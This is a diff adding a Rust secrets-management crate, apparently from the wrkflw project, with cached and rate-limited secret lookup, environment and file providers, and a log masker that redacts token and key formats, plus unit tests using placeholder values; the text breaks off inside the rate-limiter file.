+    pub async fn default() -> SecretResult<Self> {
+        Self::new(SecretConfig::default()).await
+    }
+
+    /// Get a secret by name using the default provider
+    pub async fn get_secret(&self, name: &str) -> SecretResult<SecretValue> {
+        validate_secret_name(name)?;
+        self.get_secret_from_provider(&self.config.default_provider, name)
+            .await
+    }
+
+    /// Get a secret from a specific provider
+    pub async fn get_secret_from_provider(
+        &self,
+        provider_name: &str,
+        name: &str,
+    ) -> SecretResult<SecretValue> {
+        validate_provider_name(provider_name)?;
+        validate_secret_name(name)?;
+
+        // Check rate limit
+        let rate_limit_key = format!("{}:{}", provider_name, name);
+        self.rate_limiter.check_rate_limit(&rate_limit_key).await?;
+
+        // Check cache first if caching is enabled
+        if self.config.enable_caching {
+            let cache_key = format!("{}:{}", provider_name, name);
+
+            {
+                let cache = self.cache.read().await;
+                if let Some(cached) = cache.get(&cache_key) {
+                    if chrono::Utc::now() < cached.expires_at {
+                        return Ok(cached.value.clone());
+                    }
+                }
+            }
+        }
+
+        // Get provider
+        let provider = self
+            .providers
+            .get(provider_name)
+            .ok_or_else(|| SecretError::provider_not_found(provider_name))?;
+
+        // Get secret from provider
+        let secret = provider.get_secret(name).await?;
+
+        // Cache the result if caching is enabled
+        if self.config.enable_caching {
+            let cache_key = format!("{}:{}", provider_name, name);
+            let expires_at = chrono::Utc::now()
+                + chrono::Duration::seconds(self.config.cache_ttl_seconds as i64);
+
+            let cached_secret = CachedSecret {
+                value: secret.clone(),
+                expires_at,
+            };
+
+            let mut cache = self.cache.write().await;
+            cache.insert(cache_key, cached_secret);
+        }
+
+        Ok(secret)
+    }
+
+    /// List all available secrets from all providers
+    pub async fn list_all_secrets(&self) -> SecretResult<HashMap<String, Vec<String>>> {
+        let mut all_secrets = HashMap::new();
+
+        for (provider_name, provider) in &self.providers {
+            match provider.list_secrets().await {
+                Ok(secrets) => {
+                    all_secrets.insert(provider_name.clone(), secrets);
+                }
+                Err(_) => {
+                    // Some providers may not support listing, ignore errors
+                    all_secrets.insert(provider_name.clone(), vec![]);
+                }
+            }
+        }
+
+        Ok(all_secrets)
+    }
+
+    /// Check health of all providers
+    pub async fn health_check(&self) -> HashMap<String, SecretResult<()>> {
+        let mut results = HashMap::new();
+
+        for (provider_name, provider) in &self.providers {
+            let result = provider.health_check().await;
+            results.insert(provider_name.clone(), result);
+        }
+
+        results
+    }
+
+    /// Clear the cache
+    pub async fn clear_cache(&self) {
+        let mut cache = self.cache.write().await;
+        cache.clear();
+    }
+
+    /// Get configuration
+    pub fn config(&self) -> &SecretConfig {
+        &self.config
+    }
+
+    /// Check if a provider exists
+    pub fn has_provider(&self, name: &str) -> bool {
+        self.providers.contains_key(name)
+    }
+
+    /// Get provider names
+    pub fn provider_names(&self) -> Vec<String> {
+        self.providers.keys().cloned().collect()
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[tokio::test]
+    async fn test_secret_manager_creation() {
+        let config = SecretConfig::default();
+        let manager = SecretManager::new(config).await;
+        assert!(manager.is_ok());
+
+        let manager = manager.unwrap();
+        assert!(manager.has_provider("env"));
+        assert!(manager.has_provider("file"));
+    }
+
+    #[tokio::test]
+    async fn test_secret_manager_environment_provider() {
+        // Use unique secret name to avoid test conflicts
+        let test_secret_name = format!("TEST_SECRET_MANAGER_{}", std::process::id());
+        std::env::set_var(&test_secret_name, "manager_test_value");
+
+        let manager = SecretManager::default().await.unwrap();
+        let result = manager
+            .get_secret_from_provider("env", &test_secret_name)
+            .await;
+
+        assert!(result.is_ok());
+        let secret = result.unwrap();
+        assert_eq!(secret.value(), "manager_test_value");
+
+        std::env::remove_var(&test_secret_name);
+    }
+
+    #[tokio::test]
+    async fn test_secret_manager_caching() {
+        // Use unique secret name to avoid test conflicts
+        let test_secret_name = format!("CACHE_TEST_SECRET_{}", std::process::id());
+        std::env::set_var(&test_secret_name, "cached_value");
+
+        let config = SecretConfig {
+            enable_caching: true,
+            cache_ttl_seconds: 60, // 1 minute
+            ..Default::default()
+        };
+
+        let manager = SecretManager::new(config).await.unwrap();
+
+        // First call should hit the provider
+        let result1 = manager
+            .get_secret_from_provider("env", &test_secret_name)
+            .await;
+        assert!(result1.is_ok());
+
+        // Remove the environment variable
+        std::env::remove_var(&test_secret_name);
+
+        // Second call should hit the cache and still return the value
+        let result2 = manager
+            .get_secret_from_provider("env", &test_secret_name)
+            .await;
+        assert!(result2.is_ok());
+        assert_eq!(result2.unwrap().value(), "cached_value");
+
+        // Clear cache and try again - should fail now
+        manager.clear_cache().await;
+        let result3 = manager
+            .get_secret_from_provider("env", &test_secret_name)
+            .await;
+        assert!(result3.is_err());
+    }
+
+    #[tokio::test]
+    async fn test_secret_manager_health_check() {
+        let manager = SecretManager::default().await.unwrap();
+        let health_results = manager.health_check().await;
+
+        assert!(health_results.contains_key("env"));
+        assert!(health_results.contains_key("file"));
+
+        // Environment provider should be healthy
+        assert!(health_results.get("env").unwrap().is_ok());
+    }
+}

crates/secrets/src/masking.rs

@@ -0,0 +1,348 @@
+use regex::Regex;
+use std::collections::{HashMap, HashSet};
+use std::sync::OnceLock;
+
+/// Compiled regex patterns for common secret formats
+struct CompiledPatterns {
+    github_pat: Regex,
+    github_app: Regex,
+    github_oauth: Regex,
+    aws_access_key: Regex,
+    aws_secret: Regex,
+    jwt: Regex,
+    api_key: Regex,
+}
+
+impl CompiledPatterns {
+    fn new() -> Self {
+        Self {
+            github_pat: Regex::new(r"ghp_[a-zA-Z0-9]{36}").unwrap(),
+            github_app: Regex::new(r"ghs_[a-zA-Z0-9]{36}").unwrap(),
+            github_oauth: Regex::new(r"gho_[a-zA-Z0-9]{36}").unwrap(),
+            aws_access_key: Regex::new(r"AKIA[0-9A-Z]{16}").unwrap(),
+            aws_secret: Regex::new(r"[A-Za-z0-9/+=]{40}").unwrap(),
+            jwt: Regex::new(r"eyJ[a-zA-Z0-9_-]*\.eyJ[a-zA-Z0-9_-]*\.[a-zA-Z0-9_-]*").unwrap(),
+            api_key: Regex::new(r"(?i)(api[_-]?key|token)[\s:=]+[a-zA-Z0-9_-]{16,}").unwrap(),
+        }
+    }
+}
+
+/// Global compiled patterns (initialized once)
+static PATTERNS: OnceLock<CompiledPatterns> = OnceLock::new();
+
+/// Secret masking utility to prevent secrets from appearing in logs
+pub struct SecretMasker {
+    secrets: HashSet<String>,
+    secret_cache: HashMap<String, String>, // Cache masked versions
+    mask_char: char,
+    min_length: usize,
+}
+
+impl SecretMasker {
+    /// Create a new secret masker
+    pub fn new() -> Self {
+        Self {
+            secrets: HashSet::new(),
+            secret_cache: HashMap::new(),
+            mask_char: '*',
+            min_length: 3, // Don't mask very short strings
+        }
+    }
+
+    /// Create a new secret masker with custom mask character
+    pub fn with_mask_char(mask_char: char) -> Self {
+        Self {
+            secrets: HashSet::new(),
+            secret_cache: HashMap::new(),
+            mask_char,
+            min_length: 3,
+        }
+    }
+
+    /// Add a secret to be masked
+    pub fn add_secret(&mut self, secret: impl Into<String>) {
+        let secret = secret.into();
+        if secret.len() >= self.min_length {
+            let masked = self.create_mask(&secret);
+            self.secret_cache.insert(secret.clone(), masked);
+            self.secrets.insert(secret);
+        }
+    }
+
+    /// Add multiple secrets to be masked
+    pub fn add_secrets(&mut self, secrets: impl IntoIterator<Item = String>) {
+        for secret in secrets {
+            self.add_secret(secret);
+        }
+    }
+
+    /// Remove a secret from masking
+    pub fn remove_secret(&mut self, secret: &str) {
+        self.secrets.remove(secret);
+        self.secret_cache.remove(secret);
+    }
+
+    /// Clear all secrets
+    pub fn clear(&mut self) {
+        self.secrets.clear();
+        self.secret_cache.clear();
+    }
+
+    /// Mask secrets in the given text
+    pub fn mask(&self, text: &str) -> String {
+        let mut result = text.to_string();
+
+        // Use cached masked versions for better performance
+        for secret in &self.secrets {
+            if !secret.is_empty() {
+                if let Some(masked) = self.secret_cache.get(secret) {
+                    result = result.replace(secret, masked);
+                }
+            }
+        }
+
+        // Also mask potential tokens and keys with regex patterns
+        result = self.mask_patterns(&result);
+
+        result
+    }
+
+    /// Create a mask for a secret, preserving some structure for debugging
+    fn create_mask(&self, secret: &str) -> String {
+        let len = secret.len();
+
+        if len <= 3 {
+            // Very short secrets - mask completely
+            self.mask_char.to_string().repeat(3)
+        } else if len <= 8 {
+            // Short secrets - show first character
+            format!(
+                "{}{}",
+                secret.chars().next().unwrap(),
+                self.mask_char.to_string().repeat(len - 1)
+            )
+        } else {
+            // Longer secrets - show first 2 and last 2 characters
+            let chars: Vec<char> = secret.chars().collect();
+            let first_two = chars.iter().take(2).collect::<String>();
+            let last_two = chars.iter().skip(len - 2).collect::<String>();
+            let middle_mask = self.mask_char.to_string().repeat(len - 4);
+            format!("{}{}{}", first_two, middle_mask, last_two)
+        }
+    }
+
+    /// Mask common patterns that look like secrets
+    fn mask_patterns(&self, text: &str) -> String {
+        let patterns = PATTERNS.get_or_init(CompiledPatterns::new);
+        let mut result = text.to_string();
+
+        // GitHub Personal Access Tokens
+        result = patterns
+            .github_pat
+            .replace_all(&result, "ghp_***")
+            .to_string();
+
+        // GitHub App tokens
+        result = patterns
+            .github_app
+            .replace_all(&result, "ghs_***")
+            .to_string();
+
+        // GitHub OAuth tokens
+        result = patterns
+            .github_oauth
+            .replace_all(&result, "gho_***")
+            .to_string();
+
+        // AWS Access Key IDs
+        result = patterns
+            .aws_access_key
+            .replace_all(&result, "AKIA***")
+            .to_string();
+
+        // AWS Secret Access Keys (basic pattern)
+        // Only mask if it's clearly in a secret context (basic heuristic)
+        if text.to_lowercase().contains("secret") || text.to_lowercase().contains("key") {
+            result = patterns.aws_secret.replace_all(&result, "***").to_string();
+        }
+
+        // JWT tokens (basic pattern)
+        result = patterns
+            .jwt
+            .replace_all(&result, "eyJ***.eyJ***.***")
+            .to_string();
+
+        // API keys with common prefixes
+        result = patterns
+            .api_key
+            .replace_all(&result, "${1}=***")
+            .to_string();
+
+        result
+    }
+
+    /// Check if text contains any secrets
+    pub fn contains_secrets(&self, text: &str) -> bool {
+        for secret in &self.secrets {
+            if text.contains(secret) {
+                return true;
+            }
+        }
+
+        // Also check for common patterns
+        self.has_secret_patterns(text)
+    }
+
+    /// Check if text contains common secret patterns
+    fn has_secret_patterns(&self, text: &str) -> bool {
+        let patterns = PATTERNS.get_or_init(CompiledPatterns::new);
+
+        patterns.github_pat.is_match(text)
+            || patterns.github_app.is_match(text)
+            || patterns.github_oauth.is_match(text)
+            || patterns.aws_access_key.is_match(text)
+            || patterns.jwt.is_match(text)
+    }
+
+    /// Get the number of secrets being tracked
+    pub fn secret_count(&self) -> usize {
+        self.secrets.len()
+    }
+
+    /// Check if a specific secret is being tracked
+    pub fn has_secret(&self, secret: &str) -> bool {
+        self.secrets.contains(secret)
+    }
+}
+
+impl Default for SecretMasker {
+    fn default() -> Self {
+        Self::new()
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_basic_masking() {
+        let mut masker = SecretMasker::new();
+        masker.add_secret("secret123");
+        masker.add_secret("password456");
+
+        let input = "The secret is secret123 and password is password456";
+        let masked = masker.mask(input);
+
+        assert!(!masked.contains("secret123"));
+        assert!(!masked.contains("password456"));
+        assert!(masked.contains("***"));
+    }
+
+    #[test]
+    fn test_preserve_structure() {
+        let mut masker = SecretMasker::new();
+        masker.add_secret("verylongsecretkey123");
+
+        let input = "Key: verylongsecretkey123";
+        let masked = masker.mask(input);
+
+        // Should preserve first 2 and last 2 characters
+        assert!(masked.contains("ve"));
+        assert!(masked.contains("23"));
+        assert!(masked.contains("***"));
+        assert!(!masked.contains("verylongsecretkey123"));
+    }
+
+    #[test]
+    fn test_github_token_patterns() {
+        let masker = SecretMasker::new();
+
+        let input = "Token: ghp_1234567890123456789012345678901234567890";
+        let masked = masker.mask(input);
+
+        assert!(!masked.contains("ghp_1234567890123456789012345678901234567890"));
+        assert!(masked.contains("ghp_***"));
+    }
+
+    #[test]
+    fn test_aws_access_key_patterns() {
+        let masker = SecretMasker::new();
+
+        let input = "AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE";
+        let masked = masker.mask(input);
+
+        assert!(!masked.contains("AKIAIOSFODNN7EXAMPLE"));
+        assert!(masked.contains("AKIA***"));
+    }
+
+    #[test]
+    fn test_jwt_token_patterns() {
+        let masker = SecretMasker::new();
+
+        let input = "JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c";
+        let masked = masker.mask(input);
+
+        assert!(masked.contains("eyJ***.eyJ***.***"));
+        assert!(!masked.contains("SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"));
+    }
+
+    #[test]
+    fn test_contains_secrets() {
+        let mut masker = SecretMasker::new();
+        masker.add_secret("secret123");
+
+        assert!(masker.contains_secrets("The secret is secret123"));
+        assert!(!masker.contains_secrets("No secrets here"));
+        assert!(masker.contains_secrets("Token: ghp_1234567890123456789012345678901234567890"));
+    }
+
+    #[test]
+    fn test_short_secrets() {
+        let mut masker = SecretMasker::new();
+        masker.add_secret("ab"); // Too short, should not be added
+        masker.add_secret("abc"); // Minimum length
+
+        assert_eq!(masker.secret_count(), 1);
+        assert!(!masker.has_secret("ab"));
+        assert!(masker.has_secret("abc"));
+    }
+
+    #[test]
+    fn test_custom_mask_char() {
+        let mut masker = SecretMasker::with_mask_char('X');
+        masker.add_secret("secret123");
+
+        let input = "The secret is secret123";
+        let masked = masker.mask(input);
+
+        assert!(masked.contains("XX"));
+        assert!(!masked.contains("**"));
+    }
+
+    #[test]
+    fn test_remove_secret() {
+        let mut masker = SecretMasker::new();
+        masker.add_secret("secret123");
+        masker.add_secret("password456");
+
+        assert_eq!(masker.secret_count(), 2);
+
+        masker.remove_secret("secret123");
+        assert_eq!(masker.secret_count(), 1);
+        assert!(!masker.has_secret("secret123"));
+        assert!(masker.has_secret("password456"));
+    }
+
+    #[test]
+    fn test_clear_secrets() {
+        let mut masker = SecretMasker::new();
+        masker.add_secret("secret123");
+        masker.add_secret("password456");
+
+        assert_eq!(masker.secret_count(), 2);
+
+        masker.clear();
+        assert_eq!(masker.secret_count(), 0);
+    }
+}

crates/secrets/src/providers/env.rs

@@ -0,0 +1,143 @@
+use crate::{
+    validation::validate_secret_value, SecretError, SecretProvider, SecretResult, SecretValue,
+};
+use async_trait::async_trait;
+use std::collections::HashMap;
+
+/// Environment variable secret provider
+pub struct EnvironmentProvider {
+    prefix: Option<String>,
+}
+
+impl EnvironmentProvider {
+    /// Create a new environment provider
+    pub fn new(prefix: Option<String>) -> Self {
+        Self { prefix }
+    }
+}
+
+impl Default for EnvironmentProvider {
+    fn default() -> Self {
+        Self::new(None)
+    }
+}
+
+impl EnvironmentProvider {
+    /// Get the full environment variable name
+    fn get_env_name(&self, name: &str) -> String {
+        match &self.prefix {
+            Some(prefix) => format!("{}{}", prefix, name),
+            None => name.to_string(),
+        }
+    }
+}
+
+#[async_trait]
+impl SecretProvider for EnvironmentProvider {
+    async fn get_secret(&self, name: &str) -> SecretResult<SecretValue> {
+        let env_name = self.get_env_name(name);
+
+        match std::env::var(&env_name) {
+            Ok(value) => {
+                // Validate the secret value
+                validate_secret_value(&value)?;
+
+                let mut metadata = HashMap::new();
+                metadata.insert("source".to_string(), "environment".to_string());
+                metadata.insert("env_var".to_string(), env_name);
+
+                Ok(SecretValue::with_metadata(value, metadata))
+            }
+            Err(std::env::VarError::NotPresent) => Err(SecretError::not_found(name)),
+            Err(std::env::VarError::NotUnicode(_)) => Err(SecretError::InvalidFormat(format!(
+                "Environment variable '{}' contains invalid Unicode",
+                env_name
+            ))),
+        }
+    }
+
+    async fn list_secrets(&self) -> SecretResult<Vec<String>> {
+        let mut secrets = Vec::new();
+
+        for (key, _) in std::env::vars() {
+            if let Some(prefix) = &self.prefix {
+                if key.starts_with(prefix) {
+                    secrets.push(key[prefix.len()..].to_string());
+                }
+            } else {
+                // Without a prefix, we can't distinguish secrets from regular env vars
+                // So we'll return an error suggesting the use of a prefix
+                return Err(SecretError::internal(
+                    "Cannot list secrets from environment without a prefix. Configure a prefix like 'WRKFLW_SECRET_'"
+                ));
+            }
+        }
+
+        Ok(secrets)
+    }
+
+    fn name(&self) -> &str {
+        "environment"
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[tokio::test]
+    async fn test_environment_provider_basic() {
+        let provider = EnvironmentProvider::default();
+
+        // Use unique secret name to avoid test conflicts
+        let test_secret_name = format!("TEST_SECRET_{}", std::process::id());
+        std::env::set_var(&test_secret_name, "test_value");
+
+        let result = provider.get_secret(&test_secret_name).await;
+        assert!(result.is_ok());
+
+        let secret = result.unwrap();
+        assert_eq!(secret.value(), "test_value");
+        assert_eq!(
+            secret.metadata.get("source"),
+            Some(&"environment".to_string())
+        );
+
+        // Clean up
+        std::env::remove_var(&test_secret_name);
+    }
+
+    #[tokio::test]
+    async fn test_environment_provider_with_prefix() {
+        let provider = EnvironmentProvider::new(Some("WRKFLW_SECRET_".to_string()));
+
+        // Use unique secret name to avoid test conflicts
+        let test_secret_name = format!("API_KEY_{}", std::process::id());
+        let full_env_name = format!("WRKFLW_SECRET_{}", test_secret_name);
+        std::env::set_var(&full_env_name, "secret_api_key");
+
+        let result = provider.get_secret(&test_secret_name).await;
+        assert!(result.is_ok());
+
+        let secret = result.unwrap();
+        assert_eq!(secret.value(), "secret_api_key");
+
+        // Clean up
+        std::env::remove_var(&full_env_name);
+    }
+
+    #[tokio::test]
+    async fn test_environment_provider_not_found() {
+        let provider = EnvironmentProvider::default();
+
+        let result = provider.get_secret("NONEXISTENT_SECRET").await;
+        assert!(result.is_err());
+
+        match result.unwrap_err() {
+            SecretError::NotFound { name } => {
+                assert_eq!(name, "NONEXISTENT_SECRET");
+            }
+            _ => panic!("Expected NotFound error"),
+        }
+    }
+}

crates/secrets/src/providers/file.rs

@@ -0,0 +1,288 @@
+use crate::{
+    validation::validate_secret_value, SecretError, SecretProvider, SecretResult, SecretValue,
+};
+use async_trait::async_trait;
+use serde_json::Value;
+use std::collections::HashMap;
+use std::path::Path;
+
+/// File-based secret provider
+pub struct FileProvider {
+    path: String,
+}
+
+impl FileProvider {
+    /// Create a new file provider
+    pub fn new(path: impl Into<String>) -> Self {
+        Self { path: path.into() }
+    }
+
+    /// Expand tilde in path
+    fn expand_path(&self) -> String {
+        if self.path.starts_with("~/") {
+            if let Some(home) = dirs::home_dir() {
+                return home.join(&self.path[2..]).to_string_lossy().to_string();
+            }
+        }
+        self.path.clone()
+    }
+
+    /// Load secrets from JSON file
+    async fn load_json_secrets(&self, file_path: &Path) -> SecretResult<HashMap<String, String>> {
+        let content = tokio::fs::read_to_string(file_path).await?;
+        let json: Value = serde_json::from_str(&content)?;
+
+        let mut secrets = HashMap::new();
+        if let Value::Object(obj) = json {
+            for (key, value) in obj {
+                if let Value::String(secret_value) = value {
+                    secrets.insert(key, secret_value);
+                } else {
+                    secrets.insert(key, value.to_string());
+                }
+            }
+        }
+
+        Ok(secrets)
+    }
+
+    /// Load secrets from YAML file
+    async fn load_yaml_secrets(&self, file_path: &Path) -> SecretResult<HashMap<String, String>> {
+        let content = tokio::fs::read_to_string(file_path).await?;
+        let yaml: serde_yaml::Value = serde_yaml::from_str(&content)?;
+
+        let mut secrets = HashMap::new();
+        if let serde_yaml::Value::Mapping(map) = yaml {
+            for (key, value) in map {
+                if let (serde_yaml::Value::String(k), v) = (key, value) {
+                    let secret_value = match v {
+                        serde_yaml::Value::String(s) => s,
+                        _ => serde_yaml::to_string(&v)?.trim().to_string(),
+                    };
+                    secrets.insert(k, secret_value);
+                }
+            }
+        }
+
+        Ok(secrets)
+    }
+
+    /// Load secrets from environment-style file
+    async fn load_env_secrets(&self, file_path: &Path) -> SecretResult<HashMap<String, String>> {
+        let content = tokio::fs::read_to_string(file_path).await?;
+        let mut secrets = HashMap::new();
+
+        for line in content.lines() {
+            let line = line.trim();
+            if line.is_empty() || line.starts_with('#') {
+                continue;
+            }
+
+            if let Some((key, value)) = line.split_once('=') {
+                let key = key.trim().to_string();
+                let value = value.trim();
+
+                // Handle quoted values
+                let value = if (value.starts_with('"') && value.ends_with('"'))
+                    || (value.starts_with('\'') && value.ends_with('\''))
+                {
+                    &value[1..value.len() - 1]
+                } else {
+                    value
+                };
+
+                secrets.insert(key, value.to_string());
+            }
+        }
+
+        Ok(secrets)
+    }
+
+    /// Load all secrets from the configured path
+    async fn load_secrets(&self) -> SecretResult<HashMap<String, String>> {
+        let expanded_path = self.expand_path();
+        let path = Path::new(&expanded_path);
+
+        if !path.exists() {
+            return Ok(HashMap::new());
+        }
+
+        if path.is_file() {
+            // Single file - determine format by extension
+            if let Some(extension) = path.extension().and_then(|ext| ext.to_str()) {
+                match extension.to_lowercase().as_str() {
+                    "json" => self.load_json_secrets(path).await,
+                    "yml" | "yaml" => self.load_yaml_secrets(path).await,
+                    "env" => self.load_env_secrets(path).await,
+                    _ => {
+                        // Default to environment format for unknown extensions
+                        self.load_env_secrets(path).await
+                    }
+                }
+            } else {
+                // No extension, try environment format
+                self.load_env_secrets(path).await
+            }
+        } else {
+            // Directory - load from multiple files
+            let mut all_secrets = HashMap::new();
+            let mut entries = tokio::fs::read_dir(path).await?;
+
+            while let Some(entry) = entries.next_entry().await? {
+                let entry_path = entry.path();
+                if entry_path.is_file() {
+                    if let Some(extension) = entry_path.extension().and_then(|ext| ext.to_str()) {
+                        let secrets = match extension.to_lowercase().as_str() {
+                            "json" => self.load_json_secrets(&entry_path).await?,
+                            "yml" | "yaml" => self.load_yaml_secrets(&entry_path).await?,
+                            "env" => self.load_env_secrets(&entry_path).await?,
+                            _ => continue, // Skip unknown file types
+                        };
+                        all_secrets.extend(secrets);
+                    }
+                }
+            }
+
+            Ok(all_secrets)
+        }
+    }
+}
+
+#[async_trait]
+impl SecretProvider for FileProvider {
+    async fn get_secret(&self, name: &str) -> SecretResult<SecretValue> {
+        let secrets = self.load_secrets().await?;
+
+        if let Some(value) = secrets.get(name) {
+            // Validate the secret value
+            validate_secret_value(value)?;
+
+            let mut metadata = HashMap::new();
+            metadata.insert("source".to_string(), "file".to_string());
+            metadata.insert("file_path".to_string(), self.expand_path());
+
+            Ok(SecretValue::with_metadata(value.clone(), metadata))
+        } else {
+            Err(SecretError::not_found(name))
+        }
+    }
+
+    async fn list_secrets(&self) -> SecretResult<Vec<String>> {
+        let secrets = self.load_secrets().await?;
+        Ok(secrets.keys().cloned().collect())
+    }
+
+    fn name(&self) -> &str {
+        "file"
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use tempfile::TempDir;
+
+    async fn create_test_json_file(dir: &TempDir, content: &str) -> String {
+        let file_path = dir.path().join("secrets.json");
+        tokio::fs::write(&file_path, content).await.unwrap();
+        file_path.to_string_lossy().to_string()
+    }
+
+    async fn create_test_env_file(dir: &TempDir, content: &str) -> String {
+        let file_path = dir.path().join("secrets.env");
+        tokio::fs::write(&file_path, content).await.unwrap();
+        file_path.to_string_lossy().to_string()
+    }
+
+    #[tokio::test]
+    async fn test_file_provider_json() {
+        let temp_dir = TempDir::new().unwrap();
+        let file_path = create_test_json_file(
+            &temp_dir,
+            r#"
+            {
+                "API_KEY": "secret_api_key",
+                "DB_PASSWORD": "secret_password"
+            }
+        "#,
+        )
+        .await;
+
+        let provider = FileProvider::new(file_path);
+
+        let result = provider.get_secret("API_KEY").await;
+        assert!(result.is_ok());
+
+        let secret = result.unwrap();
+        assert_eq!(secret.value(), "secret_api_key");
+        assert_eq!(secret.metadata.get("source"), Some(&"file".to_string()));
+    }
+
+    #[tokio::test]
+    async fn test_file_provider_env_format() {
+        let temp_dir = TempDir::new().unwrap();
+        let file_path = create_test_env_file(
+            &temp_dir,
+            r#"
+            # This is a comment
+            API_KEY=secret_api_key
+            DB_PASSWORD="quoted password"
+            GITHUB_TOKEN='single quoted token'
+        "#,
+        )
+        .await;
+
+        let provider = FileProvider::new(file_path);
+
+        let api_key = provider.get_secret("API_KEY").await.unwrap();
+        assert_eq!(api_key.value(), "secret_api_key");
+
+        let password = provider.get_secret("DB_PASSWORD").await.unwrap();
+        assert_eq!(password.value(), "quoted password");
+
+        let token = provider.get_secret("GITHUB_TOKEN").await.unwrap();
+        assert_eq!(token.value(), "single quoted token");
+    }
+
+    #[tokio::test]
+    async fn test_file_provider_not_found() {
+        let temp_dir = TempDir::new().unwrap();
+        let file_path = create_test_json_file(&temp_dir, "{}").await;
+
+        let provider = FileProvider::new(file_path);
+
+        let result = provider.get_secret("NONEXISTENT").await;
+        assert!(result.is_err());
+
+        match result.unwrap_err() {
+            SecretError::NotFound { name } => {
+                assert_eq!(name, "NONEXISTENT");
+            }
+            _ => panic!("Expected NotFound error"),
+        }
+    }
+
+    #[tokio::test]
+    async fn test_file_provider_list_secrets() {
+        let temp_dir = TempDir::new().unwrap();
+        let file_path = create_test_json_file(
+            &temp_dir,
+            r#"
+            {
+                "SECRET_1": "value1",
+                "SECRET_2": "value2",
+                "SECRET_3": "value3"
+            }
+        "#,
+        )
+        .await;
+
+        let provider = FileProvider::new(file_path);
+
+        let secrets = provider.list_secrets().await.unwrap();
+        assert_eq!(secrets.len(), 3);
+        assert!(secrets.contains(&"SECRET_1".to_string()));
+        assert!(secrets.contains(&"SECRET_2".to_string()));
+        assert!(secrets.contains(&"SECRET_3".to_string()));
+    }
+}

crates/secrets/src/providers/mod.rs

@@ -0,0 +1,91 @@
+use crate::{SecretError, SecretResult};
+use async_trait::async_trait;
+use serde::{Deserialize, Serialize};
+use std::collections::HashMap;
+
+pub mod env;
+pub mod file;
+
+// Cloud provider modules are planned for future implementation
+// #[cfg(feature = "vault-provider")]
+// pub mod vault;
+
+// #[cfg(feature = "aws-provider")]
+// pub mod aws;
+
+// #[cfg(feature = "azure-provider")]
+// pub mod azure;
+
+// #[cfg(feature = "gcp-provider")]
+// pub mod gcp;
+
+/// A secret value with metadata
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct SecretValue {
+    /// The actual secret value
+    value: String,
+    /// Optional metadata about the secret
+    pub metadata: HashMap<String, String>,
+    /// When this secret was retrieved (for caching)
+    pub retrieved_at: chrono::DateTime<chrono::Utc>,
+}
+
+impl SecretValue {
+    /// Create a new secret value
+    pub fn new(value: impl Into<String>) -> Self {
+        Self {
+            value: value.into(),
+            metadata: HashMap::new(),
+            retrieved_at: chrono::Utc::now(),
+        }
+    }
+
+    /// Create a new secret value with metadata
+    pub fn with_metadata(value: impl Into<String>, metadata: HashMap<String, String>) -> Self {
+        Self {
+            value: value.into(),
+            metadata,
+            retrieved_at: chrono::Utc::now(),
+        }
+    }
+
+    /// Get the secret value
+    pub fn value(&self) -> &str {
+        &self.value
+    }
+
+    /// Check if this secret has expired based on TTL
+    pub fn is_expired(&self, ttl_seconds: u64) -> bool {
+        let now = chrono::Utc::now();
+        let elapsed = now.signed_duration_since(self.retrieved_at);
+        elapsed.num_seconds() > ttl_seconds as i64
+    }
+}
+
+/// Trait for secret providers
+#[async_trait]
+pub trait SecretProvider: Send + Sync {
+    /// Get a secret by name
+    async fn get_secret(&self, name: &str) -> SecretResult<SecretValue>;
+
+    /// List available secrets (optional, for providers that support it)
+    async fn list_secrets(&self) -> SecretResult<Vec<String>> {
+        Err(SecretError::internal(
+            "list_secrets not supported by this provider",
+        ))
+    }
+
+    /// Check if the provider is healthy/accessible
+    async fn health_check(&self) -> SecretResult<()> {
+        // Default implementation tries to get a non-existent secret
+        // If it returns NotFound, the provider is healthy
+        match self.get_secret("__health_check__").await {
+            Err(SecretError::NotFound { .. }) => Ok(()),
+            Err(e) => Err(e),
+            Ok(_) => Ok(()), // Surprisingly, the health check secret exists
+        }
+    }
+
+    /// Get the provider name
+    fn name(&self) -> &str;
+}

crates/secrets/src/rate_limit.rs

@@ -0,0 +1,242 @@
+// Copyright 2024 wrkflw contributors
+// SPDX-License-Identifier: MIT
+
+//! Rate limiting for secret access operations
+
+use crate::{SecretError, SecretResult};
+use std::collections::HashMap;
+use std::sync::Arc;
+use std::time::{Duration, Instant};
+use tokio::sync::RwLock;
+
+/// Rate limiter configuration
+#[derive(Debug, Clone)]
+pub struct RateLimitConfig {
+    /// Maximum requests per time window
+    pub max_requests: u32,
+    /// Time window duration
+    pub window_duration: Duration,
+    /// Whether to enable rate limiting
+    pub enabled: bool,
+}
+
+impl Default for RateLimitConfig {
+    fn default() -> Self {
+        Self {
+            max_requests: 100,
+            window_duration: Duration::from_secs(60), // 1 minute
+            enabled: true,
+        }
+    }
+}
+
+/// Track requests for a specific key
+#[derive(Debug)]
+struct RequestTracker {
+    requests: Vec<Instant>,
+    first_request: Instant,
+}
+
+impl RequestTracker {
+    fn new() -> Self {
+        let now = Instant::now();
+        Self {
+            requests: Vec::new(),
+            first_request: now,
+        }
+    }
+
+    fn add_request(&mut self, now: Instant) {
+        if self.requests.is_empty() {
+            self.first_request = now;
+        }
+        self.requests.push(now);
+    }
+
+    fn cleanup_old_requests(&mut self, window_duration: Duration, now: Instant) {
+        let cutoff = now - window_duration;
+        self.requests.retain(|&req_time| req_time > cutoff);
+
+        if let Some(&first) = self.requests.first() {
+            self.first_request = first;
+        }
+    }
+
+    fn request_count(&self) -> usize {
+        self.requests.len()
+    }
+}
+
+/// Rate limiter for secret access operations
+pub struct RateLimiter {
+    config: RateLimitConfig,
+    trackers: Arc<RwLock<HashMap<String, RequestTracker>>>,
+}
+
+impl RateLimiter {
+    /// Create a new rate limiter with the given configuration
+    pub fn new(config: RateLimitConfig) -> Self {
+        Self {
+            config,
